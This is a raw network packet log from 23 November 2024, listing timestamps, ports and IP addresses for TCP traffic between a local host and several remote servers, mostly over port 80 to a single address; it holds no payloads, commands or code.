Nov 23, 2024 09:16:53.846033096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.846261978 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.846267939 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.846966982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.846980095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.847064972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.847955942 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.848011017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.848157883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.848313093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.848599911 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.848623991 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.849101067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.849210024 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.849215984 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.849226952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.849244118 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.849334002 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.850220919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.850316048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.850578070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.851295948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.851437092 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.851447105 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.851491928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.852401972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.852509975 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.852509975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.852555990 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.853584051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.853610992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.853703976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.853703976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.854609013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.854675055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.855720997 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.855860949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.855887890 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.856818914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.856942892 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.856970072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.857933044 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.857949018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.857986927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.858037949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.858078003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.858988047 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.859040976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.862535000 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.862554073 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.862658024 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.862667084 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.863476992 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.863485098 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.863574982 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.863600016 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.879518032 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.879596949 CET	49874	443	192.168.2.6	204.79.197.237
Nov 23, 2024 09:16:53.879605055 CET	443	49874	204.79.197.237	192.168.2.6
Nov 23, 2024 09:16:53.879646063 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.895015001 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:53.904263020 CET	443	49873	20.110.205.119	192.168.2.6
Nov 23, 2024 09:16:53.904592991 CET	49873	443	192.168.2.6	20.110.205.119
Nov 23, 2024 09:16:53.904609919 CET	443	49873	20.110.205.119	192.168.2.6
Nov 23, 2024 09:16:53.905788898 CET	443	49873	20.110.205.119	192.168.2.6
Nov 23, 2024 09:16:53.905837059 CET	49873	443	192.168.2.6	20.110.205.119
Nov 23, 2024 09:16:53.907092094 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.907114029 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.907147884 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.907159090 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.907166958 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.907212973 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.907659054 CET	49873	443	192.168.2.6	20.110.205.119
Nov 23, 2024 09:16:53.907737970 CET	443	49873	20.110.205.119	192.168.2.6
Nov 23, 2024 09:16:53.908150911 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.908220053 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.908241034 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.908261061 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.908262968 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.908282042 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.908299923 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.908310890 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.908318043 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.908335924 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.908363104 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.908363104 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.908370018 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.908380985 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.910227060 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.910461903 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.910470009 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.910500050 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.910512924 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.910522938 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.910531998 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.910552025 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.910584927 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.926104069 CET	49874	443	192.168.2.6	204.79.197.237
Nov 23, 2024 09:16:53.934082985 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.934171915 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.934195042 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.957223892 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.957742929 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.957753897 CET	49873	443	192.168.2.6	20.110.205.119
Nov 23, 2024 09:16:53.957772970 CET	443	49873	20.110.205.119	192.168.2.6
Nov 23, 2024 09:16:53.959769964 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.959849119 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.959937096 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.960855007 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.960869074 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.960884094 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.960889101 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.962373972 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.962382078 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.962682009 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.962702990 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.968754053 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.968779087 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.968813896 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.968862057 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.968867064 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.974029064 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.989670038 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.989686966 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.989707947 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.989742994 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.989775896 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.989842892 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.990004063 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.998979092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.999062061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.999116898 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.999553919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.999614000 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.999615908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.999675989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.000700951 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.000760078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.000806093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.001765966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.001810074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.001877069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.001941919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.002640963 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.002705097 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.002784967 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.002835035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.002890110 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.002923965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.002975941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.003926039 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.003983021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.004040003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.004132986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.004753113 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.004806995 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.004826069 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.004844904 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.004861116 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.004861116 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.004870892 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.004887104 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.004899025 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.005038977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.005110979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.005152941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.005197048 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.006148100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.006170988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.006196976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.006213903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.006449938 CET	49873	443	192.168.2.6	20.110.205.119
Nov 23, 2024 09:16:54.006618023 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.007270098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.007292986 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.007320881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.007344961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.008373022 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.008378029 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.008399963 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.008430958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.008460045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.008860111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.009453058 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.009501934 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.009557962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.009625912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.010581970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.010593891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.010624886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.010651112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.011737108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.011749029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.011773109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.011791945 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.012772083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.012828112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.012837887 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.012875080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.013902903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.013956070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.013972044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.014018059 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.014996052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.015058994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.015125990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.015337944 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.016185999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.016200066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.016251087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.017195940 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.017287016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.017308950 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.017326117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.018284082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.018397093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.018449068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.019393921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.019444942 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.019509077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.019551039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.020488977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.020529985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.020533085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.020570040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.021600962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.021642923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.021717072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.021806002 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.022705078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.022751093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.022830009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.022866964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.023775101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.023816109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.023960114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.024939060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.024993896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.025026083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.025062084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.026006937 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.026052952 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.026086092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.026120901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.027163029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.027173996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.027205944 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.027225971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.028228045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.028367996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.028413057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.029304028 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.029350042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.029403925 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.029443026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.030397892 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.030452967 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.030488968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.030523062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.031522036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.031563044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.031614065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.031660080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.032615900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.032772064 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.032825947 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.033718109 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.033767939 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.033832073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.033869028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.034204960 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.034209967 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.034219980 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.034317970 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.034317970 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.034341097 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.034539938 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.034569979 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.034854889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.034992933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.035036087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.035960913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.036050081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.036137104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.036251068 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.036465883 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.036477089 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.037028074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.037137985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.037189960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.038146019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.038197041 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.038278103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.038360119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.039299011 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.039366961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.039388895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.039411068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.040438890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.040460110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.040486097 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.040502071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.041439056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.041474104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.041542053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.041587114 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.042547941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.042592049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.042645931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.042685032 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.043781042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.043823957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.043894053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.043931961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.044137001 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.044280052 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.044765949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.044951916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.044982910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.045017004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.045902014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.045916080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.045958042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.045994043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.046962976 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.047008991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.047039986 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.047075987 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.048069954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.048120975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.048167944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.048485041 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.049158096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.049205065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.049268007 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.049300909 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.050343037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.050405979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.050411940 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.050447941 CET	49816	80	192.168.2.6	185.215.113.206
